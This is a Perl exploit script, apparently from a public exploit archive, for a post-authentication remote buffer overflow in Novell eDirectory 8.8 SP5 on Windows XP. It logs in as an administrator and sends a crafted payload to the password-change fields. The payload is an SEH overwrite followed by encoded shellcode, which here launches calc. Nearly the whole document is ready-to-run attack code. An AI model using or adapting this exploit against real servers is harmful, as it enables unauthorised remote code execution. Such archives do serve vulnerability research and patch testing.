Novell_eDirectory_8.8_SP5_0day.pl

# Exploit Title: Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF Exploit (0day)
# Date: 06/01/2010
# Author: His0k4 & Simo36
# Version: 8.8 SP5
# Tested on: Windows xp sp3
# Code :
#!usr\bin\perl
 
use WWW::Mechanize;
use HTTP::Cookies;
use HTTP::Headers;
 
$target=$ARGV[0];
 
if(!$ARGV[0]){
 
print "[+] Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF (0day)\n";
print "[+] Exploit : His0k4 & Simo36\n";
print "Usage:perl $0 [target]\n";
print "Example : exploit.pl<http://exploit.pl> https://192.168.1.2:8030\n";
exit();
}
 
 
$login_url = "$target/_LOGIN_SERVER_";
 
$url = "$target/dhost/httpstk";
 
# calc shellcode
my $shellcode =
"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJItiO9mSHi".
"YNjyzNYIRTetxtQKOqpsgcHUKIin24OsjKkL9r8tWYVqNZWdXUL9T5PQhid2".
"NbvqlmKH21MOLZyqT5PKXujXVuQM1NhMpuTUukYXunNmpy3MUnSPjrP8FTWi".
"n4wKTUKPjNnMxZb0MpGl2U2kxqzXFu2RSn8uLuMONjHekOYoSnxeCEvuWNpp".
"LbDpXQwJJoJtNQ1bONWT2pfYK64XCnLykBMOY5m5scooOMxq4UwmqNBY0Nb4".
"yEIirUQlkYMvhOXbLuNOrWJLpVVYou3toMlGwVhvnFnqSVIzCoygMyJKdroj".
"mOBXx6Xyinr4eZA";
 
my $junk = "\x41" x 468;
my $jmp = "\x75\x06\x41\x42";
my $seh = "Du0d"; #Univ ret
my $align = "\x61" x 3;
my $eax = "\x50\xC3";
my $data1 = "\x43" x 146;
my $data2 = "\x43" x 900;
 
my $payload = $junk.$jmp.$seh.$align.$eax.$data1.$shellcode.$data2;
 
########Change Admin info########
 
$username = "Admin.context";
 
$password = "passwd";
 
#########################################
 
my $mechanize = WWW::Mechanize->new();
$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));
$mechanize->timeout($url_timeout);
 
#Login
print "[x] Sending User & pass...\n";
$res = $mechanize->request(HTTP::Request->new('GET', "$login_url"));
 
$mechanize->submit_form(
 
form_name => "authenticator",
 
fields => {
 
usr => $username,
pwd => $password},
 
button => 'Login');
 
#vuln occurring
print "[x] Sending Exploit...\n";
$res = $mechanize->get("$url");
print "[x] Exploit Sent!\n";
$mechanize->submit_form(
 
fields => {
 
sadminpwd => $payload,
verifypwd => $payload}
);